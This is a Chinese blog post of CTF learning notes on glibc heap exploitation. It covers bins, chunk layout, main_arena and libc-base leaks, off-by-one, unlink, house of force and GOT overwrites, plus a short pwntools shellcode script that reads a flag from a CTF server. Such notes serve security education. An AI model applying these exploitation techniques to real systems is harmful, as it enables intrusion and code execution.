Uuntu16 学习记录(持续更新中......)

确认main_arena相对libc的偏移地址 前言 打保护全开的堆题时碰到的问题, 大佬wp直接给exp, 但是奈何萌新很多细节不懂啊 现在记录一下寻找main_arena相对libc偏移的方法(又水一篇博客) 在0CTF 2017 babyheap这题中, 利用 fast chunk 和 small chunk 堆叠技术将main_arena的实际地址泄露出来, 另外通过这个相对偏移, 计算libc的加载基址, 完成libc泄露 过程 对照看下mallo.c的源码 方法一 逆向分析libc.so文件 拖进IDA 函数框搜索malloc_trim 阅读详情

Top Chunk:

概念:当一个chunk处于一个arena的最顶部(即最高内存地址处)的时候,就称之为top chunk。

作用:该chunk并不属于任何bin,而是在系统当前的所有free chunk(无论那种bin)都无法满足用户请求的内存大小的时候,将此chunk当做一个应急消防员,分配给用户使用。

分配的规则:如果top chunk的大小比用户请求的大小要大的话,就将该top chunk分作两部分:1)用户请求的chunk;2)剩余的部分成为新的top chunk。否则,就需要扩展heap或分配新的heap了——在main arena中通过sbrk扩展heap,而在thread arena中通过mmap分配新的heap。

https://blog.youkuaiyun.com/qq_41453285/article/details/96851282?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522165268746216782391822857%2522%252C%2522scm%2522%253A%252220140713.130102334.pc%255Fall.%2522%257D&request_id=165268746216782391822857&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2~all~first_rank_ecpm_v1~rank_v31_ecpm-8-96851282-null-null.142^v9^pc_search_result_cache,157^v4^control&utm_term=top+chunk%E7%9A%84%E4%BB%8B%E7%BB%8D&spm=1018.2226.3001.4187

大佬:https://blog.youkuaiyun.com/qq_41453285/category_9150569.html

malloc(16)这个16个字节指的是用户区域的可填充的区域为16个字节,整个chunk的size比这个要大。

观察如上代码,我们申请的 chunk 大小是 24 个字节。但是我们将其编译为 64 位可执行程序时,实际上分配的内存会是 16 个字节而不是 24 个。

16 个字节的空间是如何装得下 24 个字节的内容呢?答案是借用了下一个块的 pre_size 域。我们可来看一下用户申请的内存大小与 glibc 中实际分配的内存大小之间的转换。

从抽象到形象:(以64位系统为例):

怕热pre_size是8个字节,size是8个字节,而且ptmalloc发配内存是以双字(64位字长8个字节)为基本单位的,分配出来的空间是16个字节的整数倍。正如原文所述:

当 req=24 时,request2size(24)=32。而除去 chunk 头部的 16 个字节。实际上用户可用 chunk 的字节数为 16。而根据我们前面学到的知识可以知道 chunk 的 pre_size 仅当它的前一块处于释放状态时才起作用。所以用户这时候其实还可以使用下一个 chunk 的 prev_size 字段,正好 24 个字节。实际上 ptmalloc 分配内存是以双字为基本单位,以 64 位系统为例,分配出来的空间是 16 的整数倍,即用户申请的 chunk 都是 16 字节对齐的。

Size: 0x21这个1指的是0001,

\x00是空格的意思,一般用于字符串的结尾以表示字符串定义结束:( 但是 strlen 和 strcpy 的行为不一致却导致了 off-by-one 的发生。 strlen 是我们很熟悉的计算 ascii 字符串长度的函数,这个函数在计算字符串长度时是不把结束符 '\x00' 计算在内的,但是 strcpy 在复制字符串时会拷贝结束符 '\x00' 。这就导致了我们向 chunk1 中写入了 25 个字节,我们使用 gdb 进行调试可以看到这一点。)括号内有助于理解

在64位操作系统中,chunk结构最小为32(0x20)字节

Fastbin

32~128(0x80)字节

后进先出

一个最新加入的Fast BIn 的chunk,其fd指针指向上一次加入的Fast bin的chunk

寻找大神,沿着大神一起学

Small bin

32~1027(0x400)字节,双链表,先进先出

Large bin

相同大小的Large bin 使用fd和bk进行指针链接,不同大小的Large bin通过fd_nextsize ,bk_nextsize按大小进行排序

Unsorted Bin

Unsorted BIn 相当于ptmalloc2的堆管理器的垃圾桶。chunk被释放后,会先加入unsorted BIn中,等待下次分配使用

在堆管理器Unsorted BIn不为空时,用户申请非Fastbin大小的内存会先从Unsorted Bin中查找,找到其中>=需要的,则分配或则切割后分

malloc申请内存,申请到的是用户区域内存,libc实际上会多分配0x10的chunk 头

c语言 * 与& 的使用:

int a = 10;

int *b = &a;

printf(“%d\n”, a);

printf(“%d\n”, &a);

printf(“%d\n”, b);

printf(“%d\n”, *b);

结果:

10

6487620

6487620

10

所以对于&和*这两个符号的理解:

首先a于*a二者都是变量,被存在栈上,a就是栈的地址,*a中的a也是栈上的一个地址,二者都是栈上的地址,a的值就是栈地址右边空间的值,*a中的a也是地址右边空间的值,不同的是空间中类型不同,一个被作为地址来看待,

而后*a的值就是将a的值作为地址,此地址右边的空间的值就是“*a”的值

当我们在程序中第一次申请内存时还没有heap段,因此132KB的heap段,也就是我们的main_arena,会被创建(通过brk),无论我们申请的内存是多大。对于接下来的内存申请,malloc都会从main_arena中尝试取出一块内存进行分配。如果空间不够,main_arena可以通过brk()扩张;如果空闲空间太多,也可以缩小。也就是先有main_arena后有heap段

关于\x00对于输出函数的截断问题?????????????/是个问题啊

(void *)p[1])

解锁关于指针当作数组用

利用malloc(number)进行内存申请,得到的用户区域确实是number个字节的大小,但是实际返回的内存空间还会加上chunk的头部,64位下是0x10大小

对于fast 大小的堆块(大小在0x20~0x80之间,包括数据块大小),从这里可以看出,这个fastbin大小是包括其head在内,这样算定标准的

main_arena_88_addr = u64(io.recv(0x28)[0x22:].ljust(8, "\x00"):来自上边的图:
这个dump是低地址开始打印的,有可能main_arena的低位是,所以接受的时候直接去掉了,是这样吗????

其实答案在这里,仔细算的话main_arena的地址只占了6个字节,为了避免其低处两字节存了别的数,而且这里只显示了高6字节,低2字节应该就是0

例子:

0x7f0ddf47a000这个地址就是libc的实际加载地址,它和main_arena的偏移是固定的。offset=hex(0x7f0ddf83eb78-0x7f0ddf47a000)=0x3c4b78,加载地址会变,但是这个偏移不会变,这样可以获取到远程的libc的加载地址

main_arena 和Libc_base_addr 的偏移在固定libc时是固定的0x3c4b20

gdb attach的使用:

查看进程:ps -ef(-aux) |grep name

gdb.attach(p)可以使python脚本在与远程程序交互过程中停下,就停在遇到gdb.attach这里,进而查看内存

*(_DWORD *)是在强制类型转化 ,然后提领指针

例如:

*(_DWORD *)(4LL*I + a1)应该理解为:

从a1[4ll*i]开始,按照DWORD格式取出四个字节。

puts函数在输出的时候是遇到’\x00’

那么printf呢????

关于发送数据和接受数据中的p.send()和p.sendline()

p.send()是发送数据,末尾不加结束符号“\n”而p.sendline()则有,这就会导致多一个字符,有时候就过不了

比如下图,要求输入固定大小的字符串,用不了p.sendline()

没想到peda还有这个妙用:::

直接查找偏移量

从ret2dlresolve理解got、plt表,还有libc基地址,还有覆盖got地址等等,重新理解用libc调用system

为什么p(1,2,3)是这样的?

首先是32位传参数,其次从IDA上看执行的系统调用只是系统调用了read,write这样的函数,其参数自然在栈中,这就和之前的差不多了。

其实这题就是限制系统调用的办法取读取flag的意思

from pwn import *

context.arch = 'i386'

p = remote('node3.buuoj.cn',28626)

shellcode = shellcraft.open('/flag')

shellcode += shellcraft.read('eax','esp',100)

shellcode += shellcraft.write(1,'esp',100)

payload = asm(shellcode)

p.send(payload)

p.interactive()

认真观察上面的文件操作函数就会发现eax是open函数返回值句柄,使得句柄指向处开始读入。

write就是从最开始“1”处将文件读出

图中flag之所以要\x00补充字符到0x10因为read读入有大小要求

\x,后面跟数字表示字符,对应与ascii码中的字符,就是字符串中的字符,ascii中的字符

如

攻防世界的level3,他使用了write函数泄漏了got表上函数的真实地址并打印了出来,此时打印出来的是\x \x机器码,所以需要接收后用u()函数解包。
而在string中,secret后输出的是16进制格式的字符串,所以接收后用int转换,发送时用的str。

0x804a01c

从ciscn_2019_es_4中终于算是理解了这个覆盖got是个神马意思:


 

首先got是这样的

got表前面本身有个地址,

根据上图可知:通过elf.got[“...”]得到的只是got表的地址,而地址对应的右边的空间才存的是值,应此这里无论是重定位的修改got表还是攻击时使用的修改got表,修改的是表内的值,而表内的值可以是未重定位的0x8048….也可以是重定位以后的0x7fff…啥的。

Python3编写格式化字符串漏洞的例子

用“*地址”其结果就是空间的值,而且是地址右边空间的值。

由此可见,system(”/bin/sh\x00”)的执行,是将字符串的地址作为参数,而不是字符串直接作为参数

hitcontraining_magicheap

的体会:

题目关键在于往magic所在bss段上写数据,所以需要控制bss段,将之作为chunk,于是想到unsorted bin的攻击,先申请一个0x80(实际上系统分的大小有0x90)于是释放进入unsorted bin,在利用对溢出漏洞,对其fd指针,bk指针进行改写,再利用unsorted分配的规则后进先出,申请同样0x80的chunk,直接控制bss段,进行写,于是得到结果。这里注意这个初始化申请堆快时候需要多申请一个任意大小的chunk,防止0x80大小的chunk被合并

奇怪的system(“/bin/sh\x00”)调用:压入system参数rdi的是要被执行的字符串的地址!

0ctf_2017_babyheap收获:

1:unsorted bin泄露libc地址

2:加深堆溢出的理解:就是溢出修改其他的chunk使得bins链中的关联系列发生改变,同时覆盖关键数据以 绕过检查机制。

3:具体的,有dump的泄露:本题将一块0x90大小的chunk作为目标,通过堆溢出使得index 2和index4同时指向它(就是使得两个index指向目标chunk),那么free它时,其产生fd与bk指向libc相关地址,dump即可泄露。

4:unsorted bin链表头部和main_arena 偏移固定?而main_arena和libc偏移固定?

0x3c4b78?

libc_base=(程序里的main_arena+88)-0x3c4b78(0x3c4b0+88,一般2.23_64的偏移都是这个,不同libc版本会有不同)](https://editor.youkuaiyun.com/md/?articleId=111307531)

index=2?

由于我们刚刚把 chunk 2 的 fd 指针改为 chunk 4 的地址,所以第一次 malloc(0x10) 的时候是分配的原来 chunk 2 的块给 index 1,第二次 malloc(0x10) 的时候就会分配 chunk 4 的块给 index 2,也就是说 index 2 与 index 4 的内容都是 chunk 4)

5:

对于 hitcontraining_heapcreator 的逆向总结:

首先分析题目后发现只有一个漏洞利用点:off-by-one

然后我们这里想的是:想办法用libc中的system(“/bin/sh\x00”)

然后我们分析题目,发现题目里边首先程序会自己创建一个固定大小0x10的chunk,并且将用户创建的chunk的大小和地址全放在里头,而且后续一系列操作,如果需要对用户创建的堆进行操作的话,那么必须经过程序创建的chunk,那么如果我们劫持程序创建的chunk内容,那么便可以任意修改,这里根据题目里头pie没开,想到用修改got表的法子:利用off-by-one申请内存的方式的这样(0x18)就是得把下一个chunk的“pre_size”那八个字节给用起来。而后修改下个chunk的size位,使得后续可以修改某个程序创建的chunk,而后修改。

这里泄露也需要提一下:泄露是将elf.got[‘free’]也就是free函数的got表的表地址(表格左边的空间物理地址)放上去,而后程序里头printf函数打印是这样的

就是got表的表地址被当作了参数,直接打印表地址对应右边的真实空间的函数地址。

观察一下fot表内的函数地址经过printf函数的输出结果:

可以看见输出是以数字字符形输出的,,,,至于为什么不是ascii码对应的符号而是数字字符,,,,那就不清楚了????

HOUSE OF FORCE 有感:

此外,用户申请的内存大小,一旦进入申请内存的函数中就变成了无符号整数。


 


 

hitcontraining_bamboobox的小结:


 

总的原理还是不变的就是利用“将chunk的地址放在某个bss段上,要对chunk进行写等操作时要通过bss段上存的chunk的地址来进行”这个缺陷,将chunk地址改为got表地址,从而进行泄露计算libc相关地址,而后进行修高函数got表,进行鸠占雀巢。

这题和之前不同的时控制某个内存空间的方式不同了,这里用的是unlink


 


 

npuctf_2020_easyheap 小结:


 

Off-by-one通过chunk0_data修改chunk1的heap_index为0x41能够完整将chunk1的datachunk给套在里面,而后释放,根据malloc规则,此时申请chunk得到的结果就是0x41大小的data_index chunk 将0x21大小的heap_index chunk包围住,而后进行熟悉的操作,,,,


 

关于在axb_2019_heap中艰难调试过程的一些总结:

首先:

要从最开始进行调试的话直接现在main函数处下断点(b main)

而后利用n啊s啊接着来。

一些调试命令,n不进入函数内部,s进入函数内部。

观察di和format可知,输入的参数放在di了,

结合05行观察可知,main+28 距离‘aaaa%11$p’字符串(也就是rdi)的相对位置为11(还有5个是寄存器)

axb_2019_heap

关键从这里感受到了这个unlink的原理:浅浅理解:

就是这里把bss对应的空间改为bss-0x18,而这个bss恰好是存,,,,chunk的地址,,,的地方,所以相当于控制了别的空间区域,如果是free_hook的相关区域的话~~~~

gyctf_2020_force

本题加深了对house_of_force的理解,但是还是有一个不解:

这个流程具体发生了什么?

为什么覆盖malloc相关地址时候,为什么realloc_hook加的是0x10,而不是0x18

[BUUCTF]PWN——actf_2019_babyheap(UAF)

第一个:

system凡是在程序执行过程中被利用的

如果exp中需要哟用到该函数的地址

可如此:


 


 


 


 


 

第二个:

凡是add时候系统自创一个固定大小的chunk,而后在固定chunk中放被动创建(也就是用户指定大小的chunk)的地址,以及其他函数地址或者size等信息者,


 

而且,其余delete,show,free中的相关功能的实现中的地址是根据系统固定创建chunk的话,那么只需要把固定chunk里面内容改了就很好进行攻击操作


 

上图这个将数组的灵活应用很不错,ptr[i]就代表了malloc(0x10)的返回地址,这也就是对chunk进行赋值的数组式写法!!!

:

 


 


 


 


 


 

 


 

 

Linux堆内存管理深入分析(上) 近年来,漏洞挖掘越来越火,各种漏洞挖掘、利用的分析文章层出不穷。本系列文章主要从Linux系统堆内存管理机制出发,逐步介绍诸如基本堆溢出漏洞、基于unlink的堆溢出漏洞利用、double free、use-after-free等常见的堆溢出漏洞利用技术。 阅读详情

相关推荐

linux 堆溢出学习之malloc堆管理机制原理详解

前言在pwn的学习过程中,最为难啃的骨头莫过于堆相关的利用,然而无论是在实际情况下还是在ctf比赛中,堆利用都是绝对的主流,是漏洞的主要类型之一。鉴于国内相关资料有限,系统讲解堆溢出利用的更是少之又少,我在此整理相关内容,既能作为自己学习的记录,也希望能够给大家带来一定的作用,不过鉴于本人也在学习之中,如有错误希望大家包涵,并且能够积极指正。堆的基础知识什么是堆堆是一种全局的数据结构,用以动态管理系

jmp esp 1万+

堆

堆 什么是堆 栈常常用于为函数分配大小固定的局部内存 堆是可以根据运行时的需要进行动态分配和释放的内存,大小可变 堆由低地址向高地址增长 对应接口: malloc/new(c++) free/delete 栈是保证函数递归运行的数据结构,程序调用过程中保存局部变量等等由系统自动开辟的一个内存空间,堆是一个我们自己开辟的一个内存空间(不要把两者混为一谈) 堆在干什么 堆的实现重点关注内存块的组织和管理方式,尤其是空闲内存块 如何提高分配和释放效率 如何降低碎片化,提高空间利用率

weixin_51298357的博客 611

从零构建锂电池主动均衡系统:Simulink仿真中的Buck-Boost拓扑实战指南

本文详细介绍了如何在Simulink中从零构建基于Buck-Boost拓扑的锂电池主动均衡系统。通过仿真环境搭建、参数优化、控制策略设计和性能评估,为工程师提供了完整的实战指南,帮助快速验证和优化均衡算法,提升电池组一致性与寿命。

gitlab7runner的博客 897

2016-HitCon-Pwn-house_of_orange学习(附赠FSOP基础知识)

[md]这里开始著名的house of orange利用方式讲解 house of orange 介绍 House of Orange 与其他的 House of XX 利用方法不同,这种利用方法来自于 Hitcon CTF 2016 中的一道同名题目。由于这种利用方法在此前的 CTF 题目中没有出现过,因此之后出现的一系列衍生题目的利用方法我们称之为 House of Orange。 概述 House of Orange 的利用比较特殊,首先需要目标漏洞是堆上的漏洞但是特殊之处在于题目中不存在 free

a2590035252的博客 959

避坑指南:华为2288H-V5服务器安装系统时常见的RAID与驱动问题解决方案

本文针对华为2288H-V5服务器在安装系统时常见的RAID与驱动问题,提供了详细的避坑指南。文章深度解析了从BIOS版本兼容性核查、RAID配置实战到驱动加载与集成的全流程,重点解决了安装过程中因RAID控制器驱动缺失或兼容性问题导致的硬盘无法识别等典型故障,帮助用户高效完成系统部署。

weixin_29240711的博客 979

Android Audio常见问题分析方法

分析audio dump,确定写给BT的data是否正常,MTK平台Android原生架构分析threadloop write节点,高通平台分析QXDM 1586节点,从dump确定问题大概位置。分析systrace 确定性能。AudioFocus状态(用于播放或者音量异常的情况)。AudioTrack是否正常创建bt连接是否正常通路异常,setMode,setSpeakerphoneOn等都会影响设备选择,sco调用流程是否正常。

一条老狗的博客 2388

0ctfbabyheap2017WP——堆溢出fastbin attack初探

从栈溢出进入堆溢出,漏洞利用的复杂度上了一个大台阶,主要是因为 ptmalloc 内存管理器对于堆管理设计了复杂的数据结构和算法,要想进入堆溢出的学习,就必须厘清它们之间的关系。本文将从一个经典的例子——0ctfbabyheap2017 来介绍一个初级的 fastbin attack 以初探堆溢出攻击。

GeekCmore的博客 883

Vue3 + EventSource 实战:手把手教你打造实时AI聊天悬浮窗(附完整代码)

本文详细介绍了如何使用Vue3和EventSource技术构建一个实时AI聊天悬浮窗。文章从产品化视角出发,重点讲解了流式数据接收与渲染、悬浮窗UI交互的工程化实现、性能优化及高级功能,并提供了完整的代码示例,帮助开发者快速集成功能完整的AI问答系统。

assembly8low的博客 846

ptmalloc源码分析 - 主分配区和非主分配区Arena的实现(04)

这里要注意的是,每次有线程调用分配malloc函数,都会对分配区进行加锁操作,多线程情况下竞争的时候没有获得主分配区的,则去freelist里面去找,找不到则创建一个新的非分配区,如果非分配区都创建满了,则需要等待。当arena满了之后就不再创建而是与其他arena共享一个arena,方法为依次给各个arena上锁(查看是否有其他线程正在使用该arena),如果上锁成功(没有其他线程正在使用),则使用该arena,之后一直使用这个arena,如果无法使用则阻塞等待。二、主分配区和非主分配区的数据结构。

自娱自乐的代码人 6万+

FPGA驱动OV5640:从SCCB协议到图像数据采集的实战解析

本文详细解析了使用FPGA驱动OV5640摄像头模组的完整流程,从SCCB协议通信、寄存器配置到图像数据采集。重点阐述了SCCB(与I2C类似)协议的实现细节、关键的上电复位时序,以及如何通过状态机解析视频流时序并捕获图像数据,为嵌入式视觉开发提供了实战指南。

weixin_29191761的博客 187

【XCharts插件】5-2、从Excel中读取数据并更新图表案例(v3.0)

XCharts插件是一款基于UGUI的功能强大、易用、参数可配置的数据可视化图表插件。【Unity3D插件】XCharts插件完全教程《全网最全》-专栏文章目录【XCharts插件】5-1、从Json中读取数据并更新图表案例(v3.0)介绍了如何从Json文件中读取数据,并更新表格,这篇文章就介绍如何从Excel中读取数据,并更新图表吧。

优快云博客专家,Unity3D高级软件工程师,《Unity 3D从入门到实战》作者。 1274

main_arena_offset 项目使用教程

main_arena_offset 项目使用教程 1、项目的目录结构及介绍 main_arena_offset/ ├── LICENSE ├── README.md ├── main_arena └── screenshot.png LICENSE: 项目的许可证文件,采用 Apache-2.0 许可证。 README.md: 项目的说明文档,包含项目的基本介绍和使用方法。 main_aren...

gitblog_01096的博客 446

Android PMS——概述(一)

PMS(Package Manager Service)是 Android 操作系统的一个重要组件,它负责管理应用程序的包信息以及与应用程序的安装、卸载、权限控制等相关功能,确保应用程序的安全性和稳定性。 Android PMS 负责维护一个应用程序包的清单信息,该清单是一个 XML 文件,包含应用程序的各种元数据,例如应用程序的包名、版本号、权限要求、组件信息等。PMS通过访问该清单文件来获取应用程序的信息。 此外,Android PMS 还负责应用程序的安装和卸载。在安装应用

小旭的专栏 1667

2021-10-13

babyheap_0ctf总体思路1.通过unsortbin 来leak main_arena进而可以得到malloc_hook的地址2.通过fastbin attack来控制malloc_hook-0x23的地址块新的改变 总体思路 1.通过unsortbin 来leak main_arena进而可以得到malloc_hook的地址 2.通过fastbin attack来控制malloc_hook-0x23的地址块 新的改变 add(0x80) #0 add(0x80) #1 add(0x80) #2 a

weixin_42338542的博客 1890

面经-2023-联发科MTK-数字芯片设计

面经-2023-联发科MTK-数字芯片设计

w0shishabi的博客 2944

深度学习工具包 DeepLearningToolbox

深度学习工具包Deprecation notice.-----This toolbox is outdated and no longer maintained.There are much better tools available for deep learning than this toolbox, e.g. [Theano](http://deeplearning.net/software/theano/), [torch](http://torch.ch/) or [tensorflow](http://www.tensorflow.org/)I would suggest you use one of the tools mentioned above rather than use this toolbox.Best, Rasmus.DeepLearnToolbox================A Matlab toolbox for Deep Learning.Deep Learning is a new subfield of machine learning that focuses on learning deep hierarchical models of data.It is inspired by the human brain's apparent deep (layered, hierarchical) architecture.A good overview of the theory of Deep Learning theory is[Learning Deep Architectures for AI](http://www.iro.umontreal.ca/~bengioy/papers/ftml_book.pdf)For a more informal introduction, see the following videos by Geoffrey Hinton and Andrew Ng.* [The Next Generation of Neural Networks](http://www.youtube.com/watch?v=AyzOUbkUf3M) (Hinton, 2007)* [Recent Developments in Deep Learning](http://www.youtube.com/watch?v=VdIURAu1-aU) (Hinton, 2010)* [Unsupervised Feature Learning and Deep Learning](http://www.youtube.com/watch?v=ZmNOAtZIgIk) (Ng, 2011)If you use this toolbox in your research please cite [Prediction as a candidate for learning deep hierarchical models of data](http://www2.imm.dtu.dk/pubdb/views/publication_details.php?id=6284)```@MASTERSTHESIS\{IMM2012-06284, author = "R. B. Palm", title = "Prediction as a candidate for learning deep hierarchical models of data", year = "2012",}```Contact: rasmusbergpalm at gmail dot comDirectories included in the toolbox-----------------------------------`NN/` - A library for Feedforward Backpropagation Neural Networks`CNN/` - A library for Convolutional Neural Networks`DBN/` - A library for Deep Belief Networks`SAE/` - A library for Stacked Auto-Encoders`CAE/` - A library for Convolutional Auto-Encoders`util/` - Utility functions used by the libraries`data/` - Data used by the examples`tests/` - unit tests to verify toolbox is workingFor references on each library check REFS.mdSetup-----1. Download.2. addpath(genpath('DeepLearnToolbox'));Example: Deep Belief Network---------------------```matlabfunction test_example_DBNload mnist_uint8;train_x = double(train_x) / 255;test_x = double(test_x) / 255;train_y = double(train_y);test_y = double(test_y);%% ex1 train a 100 hidden unit RBM and visualize its weightsrand('state',0)dbn.sizes = [100];opts.numepochs = 1;opts.batchsize = 100;opts.momentum = 0;opts.alpha = 1;dbn = dbnsetup(dbn, train_x, opts);dbn = dbntrain(dbn, train_x, opts);figure; visualize(dbn.rbm{1}.W'); % Visualize the RBM weights%% ex2 train a 100-100 hidden unit DBN and use its weights to initialize a NNrand('state',0)%train dbndbn.sizes = [100 100];opts.numepochs = 1;opts.batchsize = 100;opts.momentum = 0;opts.alpha = 1;dbn = dbnsetup(dbn, train_x, opts);dbn = dbntrain(dbn, train_x, opts);%unfold dbn to nnnn = dbnunfoldtonn(dbn, 10);nn.activation_function = 'sigm';%train nnopts.numepochs = 1;opts.batchsize = 100;nn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.10, 'Too big error');```Example: Stacked Auto-Encoders---------------------```matlabfunction test_example_SAEload mnist_uint8;train_x = double(train_x)/255;test_x = double(test_x)/255;train_y = double(train_y);test_y = double(test_y);%% ex1 train a 100 hidden unit SDAE and use it to initialize a FFNN% Setup and train a stacked denoising autoencoder (SDAE)rand('state',0)sae = saesetup([784 100]);sae.ae{1}.activation_function = 'sigm';sae.ae{1}.learningRate = 1;sae.ae{1}.inputZeroMaskedFraction = 0.5;opts.numepochs = 1;opts.batchsize = 100;sae = saetrain(sae, train_x, opts);visualize(sae.ae{1}.W{1}(:,2:end)')% Use the SDAE to initialize a FFNNnn = nnsetup([784 100 10]);nn.activation_function = 'sigm';nn.learningRate = 1;nn.W{1} = sae.ae{1}.W{1};% Train the FFNNopts.numepochs = 1;opts.batchsize = 100;nn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.16, 'Too big error');```Example: Convolutional Neural Nets---------------------```matlabfunction test_example_CNNload mnist_uint8;train_x = double(reshape(train_x',28,28,60000))/255;test_x = double(reshape(test_x',28,28,10000))/255;train_y = double(train_y');test_y = double(test_y');%% ex1 Train a 6c-2s-12c-2s Convolutional neural network %will run 1 epoch in about 200 second and get around 11% error. %With 100 epochs you'll get around 1.2% errorrand('state',0)cnn.layers = { struct('type', 'i') %input layer struct('type', 'c', 'outputmaps', 6, 'kernelsize', 5) %convolution layer struct('type', 's', 'scale', 2) %sub sampling layer struct('type', 'c', 'outputmaps', 12, 'kernelsize', 5) %convolution layer struct('type', 's', 'scale', 2) %subsampling layer};cnn = cnnsetup(cnn, train_x, train_y);opts.alpha = 1;opts.batchsize = 50;opts.numepochs = 1;cnn = cnntrain(cnn, train_x, train_y, opts);[er, bad] = cnntest(cnn, test_x, test_y);%plot mean squared errorfigure; plot(cnn.rL);assert(er<0.12, 'Too big error');```Example: Neural Networks---------------------```matlabfunction test_example_NNload mnist_uint8;train_x = double(train_x) / 255;test_x = double(test_x) / 255;train_y = double(train_y);test_y = double(test_y);% normalize[train_x, mu, sigma] = zscore(train_x);test_x = normalize(test_x, mu, sigma);%% ex1 vanilla neural netrand('state',0)nn = nnsetup([784 100 10]);opts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samples[nn, L] = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.08, 'Too big error');%% ex2 neural net with L2 weight decayrand('state',0)nn = nnsetup([784 100 10]);nn.weightPenaltyL2 = 1e-4; % L2 weight decayopts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samplesnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex3 neural net with dropoutrand('state',0)nn = nnsetup([784 100 10]);nn.dropoutFraction = 0.5; % Dropout fraction opts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samplesnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex4 neural net with sigmoid activation functionrand('state',0)nn = nnsetup([784 100 10]);nn.activation_function = 'sigm'; % Sigmoid activation functionnn.learningRate = 1; % Sigm require a lower learning rateopts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samplesnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex5 plotting functionalityrand('state',0)nn = nnsetup([784 20 10]);opts.numepochs = 5; % Number of full sweeps through datann.output = 'softmax'; % use softmax outputopts.batchsize = 1000; % Take a mean gradient step over this many samplesopts.plot = 1; % enable plottingnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex6 neural net with sigmoid activation and plotting of validation and training error% split training data into training and validation datavx = train_x(1:10000,:);tx = train_x(10001:end,:);vy = train_y(1:10000,:);ty = train_y(10001:end,:);rand('state',0)nn = nnsetup([784 20 10]); nn.output = 'softmax'; % use softmax outputopts.numepochs = 5; % Number of full sweeps through dataopts.batchsize = 1000; % Take a mean gradient step over this many samplesopts.plot = 1; % enable plottingnn = nntrain(nn, tx, ty, opts, vx, vy); % nntrain takes validation set as last two arguments (optionally)[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');```[![Bitdeli Badge](https://d2weczhvl823v0.cloudfront.net/rasmusbergpalm/deeplearntoolbox/trend.png)](https://bitdeli.com/free "Bitdeli Badge")

isccpwn2[不能获取索引地址空间的堆溢出](main_arena结构,got表存放)

main_arena里面的内容 pwndbg> x /20xg 0x7fed08ed9af0 0x7fed08ed9af0 <_IO_wide_data_0+304>: 0x00007fed08ed8260 0x0000000000000000 0x7fed08ed9b00 <__memalign_hook>: 0x00007fed08b9ae20 0x00007fe...

九层台 866

计算机控制技术及应用

《计算机控制技术及应用》通过总结作者的科研成果和吸收国内外的先进理论、方法和技术,以计算机控制系统的网络化、开放化、智能化和集成化发展趋势为主线索,主要介绍计算机控制系统的基本概念和计算机控制系统的典型形式,计算机控制系统的数学描述与基本分析方法,以及数字PID控制器、最少拍控制系统、达林算法、状态变量设计法等设计方法及其各种改进算法。重点突出计算机控制系统输入输出通道接口的设计方法和典型控制系统的设计案例与实现方法等。

malloc main_arena

malloc main_arena

xiaozhi 444

复分析 阿尔福斯(Ahlfors) 第三版答案 英文

答案分为十章,有部分习题没有答案,全英文复分析阿尔福斯(Ahlfors) 第三版答案

NTscan扫描工具

ntscan是一个扫描器,可以扫描没有密码和弱密码的共享,先到配置文件中填写猜测的用户名和密码,扫描过程中右侧出现的是扫描日志。

堆中获取地址和劫持执行流的方法

栗子https://github.com/tower111/software.git 0x01获取栈地址 详细writeup:https://tower111.github.io/2018/08/30/ISG-babynote/ 原理:在fast bin是单链在内存中保存,在fd位置处会写入next chunk的地址,这个地址可以用来获取heap_base。 栗子:babynote 需要...

九层台 2153

babyheap 2017漏洞分析

直接拿http://uaf.io/exploitation/2017/03/19/0ctf-Quals-2017-BabyHeap2017.html的完整exp分析吧 这是0ctf 2017的一道pwn题。 主要是两点,第一点是怎么泄露libc的基地址,第二点是怎么执行shell 漏洞点:在fill函数中,IDA逆向分析如下: unsigned __in

小强的博客 2332

堆溢出基础——ptmalloc源码分析

0x00 前言 决定学习堆溢出很久了但却因为内心对源码的恐惧一直不愿意解出这块内容,于是在实习面试的时候被问到linux的内存管理一脸懵逼啥都不会。。。。痛定思痛利用一周末时间将堆的实现硬着头皮看了一遍,现在记录如下。 参考内容: CTFwiki 深入理解堆的实现 Glibc内存管理Ptmalloc2源代码分析 0x01 操作系统内存分配的相关函数 brk()系统调用与sbrk()...

dydxdz的博客 1339

理解 Linux 动态库加载:LD_LIBRARY_PATH

flyfish

二分掌柜的 350

USB 技术系列 11 · USB Linux 驱动框架

本文系统解析Linux USB驱动框架,涵盖USB Core、HCD(xhci-hcd/dwc3)、类驱动(CDC/HID/Mass Storage)分层架构,详解usb_device_id匹配、probe/disconnect生命周期及Device Tree配置。结合RISC-V N300实战,揭示Host/Device双模式驱动开发核心逻辑,助力嵌入式BSP开发者掌握USB子系统全栈能力。

peter_pan_study的博客 256

Linux-iostat命令详解

Linux命令学习记录

m0xin的博客 121
上一篇: 对“ciscn_2019_n_3“的理解
下一篇: Ubuntu18学习记录(持续更新中~~~)
Hvf0x
博客等级 码龄7年 10粉丝 33原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

